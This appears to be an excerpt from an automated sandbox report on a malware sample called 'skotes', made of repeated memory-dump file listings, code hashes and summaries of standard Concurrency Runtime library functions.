Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: f15b5bd2a005d1a706bdec4699eda87fc18a3a58fb9d1305de336a16850a7e4f
Instruction ID: 20065b07c3c1327ebf846180f11a5439942bd9a4f147bb1220530ec38d2dd304
Opcode Fuzzy Hash: f15b5bd2a005d1a706bdec4699eda87fc18a3a58fb9d1305de336a16850a7e4f
Instruction Fuzzy Hash: 8DB09232A1383047CA522B98BC4869D77599B88B5230A0156E842AB6248B101EC25BD8

Function 0019DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfca38f4e683430874fea027e24cd6a45ec6de6048e0f5ef90572d211537f8fc
Instruction ID: 1876dc9868e6400ceb5bcccc5a13afdb79b6abb2052cc2440fae11e37f3d1c08
Opcode Fuzzy Hash: dfca38f4e683430874fea027e24cd6a45ec6de6048e0f5ef90572d211537f8fc
Instruction Fuzzy Hash: 8E519DB2E016068BDB15CF98E8D57AEB7F1FB98704F24856AD406EF690D374A980CF50

Function 001B26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 001B26E3

Part of subcall function 001B24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001B2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 001B2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 001B2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 001B275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 001B27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 001B27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 001B2846

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: f41ba8ffb12ef2987cbfb52970949d855b52dd7e51f1ac7b3bb47429201d341a
Instruction ID: b2b9b84f2341007ed95fa1a1346d18a0abcb90a5a4d5ca39d08fc719d5a4a7cb
Opcode Fuzzy Hash: f41ba8ffb12ef2987cbfb52970949d855b52dd7e51f1ac7b3bb47429201d341a
Instruction Fuzzy Hash: 2A81A034900249AFDF169F54C991BFE7BB2AF66308F040098FD416B262C7368D5DDB61

Function 001B2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 001B2982

Part of subcall function 001B24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001B2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 001B29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 001B29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 001B29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 001B2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 001B2AD8

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: f18fe7b46160f19e0bb63de63319addcbb1991f84963af62c80f5a8eb44f7501
Instruction ID: 809721dae06324c1104d1a40ba34e8a1eb4dbd8f3a8f08e2ff65619184f8de38
Opcode Fuzzy Hash: f18fe7b46160f19e0bb63de63319addcbb1991f84963af62c80f5a8eb44f7501
Instruction Fuzzy Hash: 4171BB30900249AFDF15DF64C991BFEBBB2AF55304F044098EC41AB262CB32DD1ADB61

Function 001A2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 001A2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 001A28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 001A2913

Part of subcall function 001A07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 001A080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 001A2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 001A29DB

Part of subcall function 001A07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 001A07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 001A29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 001A2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 001A2A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 001A2A7E

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 9f28d587d45f190a7b4dc6f471e83fc802cde416a0bfb52aca6fea274dfe1d28
Instruction ID: 47e9b05b41c4c3996f15183247c1b3f4faf5f155b2343531b2ef1b969fd13ff5
Opcode Fuzzy Hash: 9f28d587d45f190a7b4dc6f471e83fc802cde416a0bfb52aca6fea274dfe1d28
Instruction Fuzzy Hash: 3E81D039A006668BCB18CFACD8D05BEB7F3BF5A718B24402DE445EBA41D7346D84CB90

Function 001A69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 001A6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 001A6A51
List.LIBCONCRT ref: 001A6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 001A6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 001A6AB9
List.LIBCONCRT ref: 001A6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 001A6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 001A6B20
List.LIBCONCRT ref: 001A6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 001A6B68

Part of subcall function 001A5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 001A5EF7
Part of subcall function 001A5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 001A5F09

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
